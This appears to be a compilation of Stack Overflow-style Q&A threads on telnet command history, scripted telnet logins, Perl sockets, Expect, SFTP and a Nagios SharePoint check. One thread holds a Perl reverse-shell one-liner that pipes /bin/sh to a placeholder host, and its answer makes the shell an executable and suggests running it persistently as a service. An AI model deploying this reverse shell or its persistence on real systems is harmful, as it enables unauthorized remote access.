How to implement a command history on a telnet client? (up/down arrows) - linux

I have a server that accept telnet connections for management. I miss the command history so I want to make my telnet session support it. My questions:
1) Do I have to implement that on the server side, so the server will send the past commands to the client and then the client can re-execute?
2) Is there anyway to implement this functionality in the telnet client (not messing with the server) ?
If answer is 1) then I need to know how to capture and send the up and down arrow keys on my telnet session without having to press enter.

This isn't a server issue. Just use rlwrap with your telnet client. It gives you readline with no programming.
$ rlwrap telnet server port
(I actually use nc instead of telnet since it is easier to use and is more robust.)

use socat:
socat readline,history=$HOME/.telnet_history TCP:host:23

I'm assuming this is a service you have written in Perl, based on your tags.
You can use the Term::ReadLine module from CPAN to do what you want. From the CPAN website, here's a basic example:
use Term::ReadLine;
my $term = Term::ReadLine->new('My Management Service');
my $prompt = "Enter your management command: ";
my $OUT = $term->OUT || \*STDOUT;
while ( defined ($_ = $term->readline($prompt)) ) {
my $res = eval($_);
warn $# if $#;
print $OUT $res, "\n" unless $#;
$term->addhistory($_) if /\S/;
}

Related

Telnet to server, login, and return command result in one line

I've looked at several other solutions, but none appear to be working the way I need.
I have an embedded controller running Linux (Dreadnaught) and a router also running Linux. I want to read the routing table (just the WAN IP of the default route) of the router, from the controller. My controller has telnet and wget, but does not have ssh or curl. I'd like to do this in a single command with a single result, so I can send the one command from an internal program and parse/save one result.
If I telnet to the router from my PC, either of these two commands gives me the exact result I need:
route |grep default|cut -c 17-32
or
dbctl get route/default/current_gateway
Route takes about 30 seconds (not sure why?), even without grep and cut; but dbctl is instant for all intents and purposes.
I've tried the eval method per Telnet to login with username and password to mail Server, but that shows all the telnet interactions; I want just the final string result.
I had a poke around at wget, but it looks to be for downloading files, not executing commands.
I'm hoping for:
somecommand server=1.2.3.4 user=myuser passwd=MyP#s$ command='dbctl get route/default/current_gateway'
which just returns:
8.7.6.5
Then my internal program (ISaGRAF, but shouldn't be relevant) can send one string to cmd and be returned 1 string, which I can use for my own nefarious purposes (well, I'm just going to log it actually).
If there's absolutely no other way, I can drop a sh script on to the requesting controller, but I'd rather not (extra steps to install, not as portable).
Solved as I was reviewing the question, but looking for suggestions - is this the cleanest method? Could it be done better?
OK, I poked around at the eval method again. Yes, it shows me the full interaction, but it's easy to just get the bits I need, using head and tail:
eval "{ sleep 2; echo myuser; sleep 1; echo MyP#s$; sleep 1; echo 'dbctl get route/default/current_gateway'; sleep 2; }" |telnet 1.2.3.4 |head -n 5|tail -n 1
eval returns the full interaction:
Entering character mode Escape character is '^]'.
login: myuser
Password:
admin#myrouter:~# dbctl get route/default/current_gateway
8.7.6.5
admin#myrouter:~#
So I just need head and tail to grab the one line I want using |head -n 5|tail -n 1

how can i create persistent socket connection on perl?

I'm learning Perl and I have two Linux systems (server/client). I want to connect them via Perl with a reverse socket connection.
The way I do it is with this command on the server side:
perl -e 'use Socket;
$i="**iphere**";
$p=**porthere**;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};'
This works fine, but I want to make it persistent on time. Maybe executing some delayed script.
The server system is CentOS.
Any idea?
Well, step one would be to take your command-line script and turn it into a real program. Put it in a file called my_server and reformat it like this (to make it easier to maintain).
use Socket;
$i = "**iphere**";
$p = **porthere**;
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if (connect(S, sockaddr_in($p, inet_aton($i)))) {
open(STDIN, ">&S");
open(STDOUT, ">&S");
open(STDERR, ">&S");
exec("/bin/sh -i");
}
You can now run that by typing perl my_server at the command line. We can make it look more like a command by adding a shebang line and making it executable. At this point I'm also going to add Perl's safety nets, use strict and use warnings (which you should always have in your Perl code), and they will require us to define our variables with my.
#!/usr/bin/env perl
use strict;
use warnings;
use Socket;
my $i = "**iphere**";
my $p = **porthere**;
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if (connect(S, sockaddr_in($p, inet_aton($i)))) {
open(STDIN, ">&S");
open(STDOUT, ">&S");
open(STDERR, ">&S");
exec("/bin/sh -i");
}
If we now make that executable (chmod +x my_server), we can now run it by just typing the program's name (my_server) on the command line.
The next step would be to make it into a proper service which you can start, stop and monitor using your OS's native service capabilities. I don't have time to get into that in detail, but I'd be looking at Daemon::Control.
You're kinda using Old school, C like of socket programming in perl which is good but remember it's Perl. To make it more readable and simple, you can always use IO::Socket. Which improves code readability and reduces code complexity. Also in production environment, I would recommend you to add server IP's in /etc/hosts and use the host name instead of IP.

how to parse password during the find command in linux?

I need to parse password during find a file in remote linux system, how can I read a remote directory in linux?
I tried one:
ssh root#192.168.5.6 "find /var/www/home" sshpass -p pass
it didn't work properly in linux, if any one face this solution, please let me know...
I tried two:
opendir(IN, "root#192.168.5.6:/var/www/home") || die "can't open !";
I tring also perl but it didn't work properly,
How can I start? How can I read a remote directory?
use Net::SFTP::Foreign.
use Net::SFTP::Foreign;
my $sftp = Net::SFTP::Foreign->new($host, user => $user, password => $password, autodie => 1);
my $ls = $sftp->ls($dir);
use Data::Dumper;
print Dumper($ls);
It wont work that way in perl. Try something like this:
open(IN, "$cmd|")
where $cmd is the command that works for you from the command line.

how to run command on telnet command prompt in perl script

i am executing telnet command in perl script as below.
$telnetOutput = `telnet localhost 4505`;
print "\n telnet command output: $telnetOutput \n";
$clients = `clients`;
print"\n $clients\n";
$clientNumber_or_anyOtherKey = `1`;
print "\n $clientNumber_or_anyOtherKey \n";
$pollers = `pollers`;
print "\n $pollers\n";`
but after running $telnetOutput = `telnet localhost 4505`; command, as we know it will open telnet command prompt but all other commands are still executing in same old command prmopt so it's saying clients or 1 or pollers are not recognized as internal or external commands.
can any 1 help me out pls?
thanks in advanch
Communicating with external processes like telnet is more complicated than you might imagine, as you have to correctly handle buffering, waiting for input, and so on.
The canonical way to approach this is to use Expect ( https://metacpan.org/module/RGIERSIG/Expect-1.21/Expect.pod ) if you really need full interaction.
If you don't actually need interaction then a remote command runner like ssh or rsh (which you can call from perl of course) is sufficient.
this is working example for telnet connection to d-link des-1228 router and executing 2 commands. change it if you want:
#!/usr/bin/perl
use strict;
use warnings;
use Net::Telnet;
my $params;
$params{'login'}='root';
$params{'password'}='hardpass';
$params{'default_prompt'}='/DES-[^:]+:.#/'; #change it to regexp matching your prompt
my $host = '192.168.1.20';
my $t=new Net::Telnet(Timeout=>5, Prompt=>$params{'default_prompt'}, Errmode=>sub{next;});
$t->open(Host=>$host, Timeout=>2);
my $res=$t->login($params{'login'}, $params{'password'});
return if $res!=1;
$t->cmd('disable clipaging');
my #lines=$t->cmd('show fdb'); #output here
$t->close();
install TCL (ActiveTcl8.5.13.0.296436-win32-ix86-threaded.exe for windows) in system.
Then install Expect Package from Command from as teacup install Expect
run below script after modification for requirement
#!/usr/bin/expect -f
#!usr/bin/expect
package require Expect
# Test expect script to telnet.
spawn telnet localhost portnumber
expect "TradeAggregator>"
send "3\r"
expect "Client:"
send "1\r"
expect "1-Client>"
send "2\r"
expect "Client Pollers"
send "2\r"
expect "1-NYMEX UTBAPI"
send "1\r"
expect "2-NYMEX UTBAPI"
send "Test_123\r"
expect "Are"
send "n\r"
send "exit\r"
send "exit\r"
send "exit\r"
# end of expect script.

Nagios verify Sharepoint

I want to set Nagios (on my Debian) to verify a SharePoint server is up. I already tried to use cURL but it didn't worked for some issue that I don't know so I decided to change the way I'll verify that service.
It's simple in theory, I just have to make a script to send an request (http or https, doesn't matter) and check the response, if is 200 for successful or 40x if not (ok at this point).
So I have to use telnet or any ftp service to do that or I can use another feature/tool for that.
With telnet I'am having problem with 400 error. SharePoint returns this error when server is up or down, so I don't work for me.
Any ideas??
You can use the check_http plugin of Nagios. For example:
check_http -H SharepointHostname/IP -p port
You can use the -S flag for secure http connections
You can use the -u flag for going to specific URL
You can use the -s flag to search for a specific string in the HTML page returned from the url specified with the -u flag.
So basically you can request a specific page, scan for a known String, and if successfully found, you are sure this page is up (which means server is up etc.)
Example:
check_http -H my.sharepoint.com -u /start/page/sharepoint.aspx -s "test string"
Commonly this is done on login pages etc. Don't forget to escape special chars in your URL, if it contains any (like ? and &).
There's also a perl script available for checking sharepoint servers.
Does this not do what you want:
http://exchange.nagios.org/directory/Plugins/Email-and-Groupware/Microsoft-Sharepoint/check_sharepoint-2Epl/details
Most likely you're going to need a login/password for Sharepoint in order to monitor much more than the basic IIS / website is working.
I done my own way to check if SharePoint is UP or DOWN. Please pay attention that this script just checks the service status, nothing more like user permissions or whatever.
Perl script:
#!/usr/bin/env perl
use strict;
use warnings;
use LWP::UserAgent;
use Getopt::Long qw(:config no_ignore_case_always auto_version);
GetOptions ('h=s' => \my $h);
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)');
my $req = $ua->get('http://' . $h);
my $retorno = '';
if ($req->is_success)
{
$retorno = $req->content;
}
else
{
$retorno = $req->status_line;
}
if ($retorno eq "401 Unauthorized")
{
print "OK: SharePoint service at " . $h . " server is UP.";
exit 0;
}
else
{
print "CRITICAL: SharePoint service at " . $h . " server is DOWN.";
exit 2;
}
In case you got this exception when you run the script:
Can't locate LWP/UserAgent.pm in #INC
this article may help you as it helped me:
http://help.directadmin.com/item.php?id=274
So in Nagios commands.cfg file you'll declare the command this way:
command_line /usr/local/nagios/libexec/check_sharepoint.pl -h $HOSTADDRESS$
Where $HOSTADDRESS is the host IP variable in Nagios scope.
Remember to chmod +x on the file. I know you will...

Resources